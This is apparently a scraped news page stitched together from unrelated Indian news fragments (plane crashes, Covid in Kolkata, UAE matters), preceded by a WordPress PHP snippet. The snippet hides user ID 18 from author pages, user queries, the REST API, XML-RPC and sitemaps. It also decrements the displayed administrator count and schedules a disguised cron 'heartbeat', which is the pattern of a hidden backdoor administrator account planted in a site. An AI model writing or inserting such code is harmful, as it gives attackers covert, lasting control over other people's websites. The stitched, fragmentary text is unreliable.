add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
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The pilot lost his life in the incident, according to an official statement from the Indian Air Force.
The Air Force has announced that a Court of Inquiry will investigate the circumstances leading to the crash.
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Following the abolition of Jammu and Kashmir’s special status and separation of the state into two Union Territories, Dubai, part of the United Arab Emirates, has signed the region’s first investment deal.
Dubai would create infrastructure such as industrial parks, IT towers, multi-purpose buildings, logistics centers, a medical college, and a specialty hospital, according to the government.
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The announcement came on the same day that the number of new Covid positive cases in Kolkata surpassed 200 for the first time in over four months. The fundamental cause of the soaring Covid-19 numbers in the city, according to doctors, is the irresponsible rush of revelers during Puja pandals.
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The figures were revealed after the European Parliament criticized the UAE’s record on human rights and “inhumane” treatment of immigrant workpeople, calling for a boycott of the six-month-long international exhibition.
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]]>After placing travel restrictions on Indians in April-end, at the height of the deadly second Covid outbreak, the UAE has been gradually opening up to Indians. It has been steadily permitting more categories of visitors from India in recent weeks. Visitors should verify the latest requirements before planning a trip these days, as admission rules change regularly during Covid.
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]]>An NDRF team has been rushed to the spot to aid in search and rescue operations.
The shocking accident of the Air India Express flight, which crashed and split in two while landing at Kozhikode International Airport, has claimed the life of the pilot and co-pilot.

The pilots of the ill-fated Air India Express Flight No IX 1344 from Dubai to Kozhikode has been identified as Captain Deepak Vasant Sathe and First Officer Akhilesh Kumar. Captain Sathe was a former Indian Air Force Test pilot. He was commissioned into service in 1981 and served in the force for 22 years.
The Air India Express plane coming from Dubai overshot the runway at the Kozhikode airport.
Prime Minister Narendra Modi spoke to Kerala Chief Minister Pinarayi Vijayan on the phone after an Air India Express plane coming from Dubai overshot the runway at the Kozhikode airport on Friday. He was informed by the chief minister that a team of officials including Kozhikode and Malappuram district collectors and IG Ashok Yadav have arrived at the airport to participate in the rescue operation.
Distressed to learn about the tragic accident of Air India Express aircraft in Kozhikode, Kerala. Have instructed NDRF to reach the site at the earliest and assist with the rescue operations,”
Amit Shah tweeted
Devastating news from Kozhikode, Kerala. I am deeply anguished by the loss of lives due to an accident carrying several passengers on Air India flight. In this hour of grief, my thoughts are with the bereaved families. I pray for the speedy recovery of the injured.”
Defence Minister Rajnath Singh also tweeted his condolences. He wrote on Twitter,
Shocked at the devastating news of the plane mishap in Kozhikode. Deepest condolences to the friends and family of those who died in this accident. Prayers for the speedy recovery of the injured.”
Congress’ Rahul Gandhi too reacted to the news
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